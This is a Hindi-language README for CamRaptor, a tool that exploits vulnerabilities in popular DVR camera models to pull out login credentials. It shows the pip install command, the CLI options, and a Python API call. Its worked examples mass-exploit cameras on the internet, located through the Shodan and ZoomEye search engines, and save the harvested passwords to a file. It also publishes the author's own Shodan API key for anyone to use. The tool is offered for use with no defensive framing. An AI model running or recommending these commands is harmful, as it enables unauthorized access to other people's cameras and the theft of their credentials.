CamRaptor

CamRaptor एक उपकरण है जो लोकप्रिय DVR कैमरों में कई कमजोरियों का शोषण करके नेटवर्क कैमरा क्रेडेंशियल्स प्राप्त करता है।

विशेषताएँ

• Novo, CeNova और QSee जैसे सबसे लोकप्रिय कैमरा मॉडलों में कमजोरियों का शोषण करता है।
• थ्रेडिंग सक्षम के साथ सूची से एक साथ कई कैमरों का शोषण करने के लिए अनुकूलित।
• सरल CLI और API उपयोग।

स्थापना

pip3 install git+https://github.com/EntySec/CamRaptor

मूल उपयोग

CamRaptor का उपयोग करने के लिए अपने टर्मिनल में camraptor टाइप करें।

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

उदाहरण

एकल कैमरे का शोषण

आइए मज़े के लिए मेरे कैमरे को हैक करें।

camraptor -a 192.168.99.100

इंटरनेट से कैमरों का शोषण

आइए Shodan सर्च इंजन का उपयोग करके इंटरनेट पर कैमरों का शोषण करने का प्रयास करें, हम तेज़ शोषण के लिए -t के साथ इसका उपयोग करेंगे।

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

नोट: दी गई Shodan API कुंजी (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) मेरी PRO API कुंजी है, आप इस कुंजी या अपनी खुद की कुंजी का उपयोग कर सकते हैं, हमारे सभी संसाधनों का मुफ्त में उपयोग करने के लिए स्वतंत्र हैं :)

इनपुट फ़ाइल से कैमरों का शोषण

आइए तेज़ शोषण के लिए -t के साथ कैमरों के खुले डेटाबेस का उपयोग करने का प्रयास करें।

camraptor -t -i cameras.txt -o passwords.txt

नोट: यह cameras.txt सूची में सभी कैमरों का उनके पतों द्वारा शोषण करेगा और प्राप्त सभी पासवर्ड passwords.txt में सहेजेगा।

API उपयोग

CamRaptor का अपना Python API भी है जिसे आप अपने कोड में CamRaptor आयात करके लागू कर सकते हैं।

from camraptor import CamRaptor

मूल कार्य

ये सभी CamRaptor के मूल कार्य हैं जिनका उपयोग निर्दिष्ट कैमरे का शोषण करने के लिए किया जा सकता है।

• exploit(address) - दिए गए पते द्वारा एकल कैमरे का शोषण करें।

उदाहरण

एकल कैमरे का शोषण

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)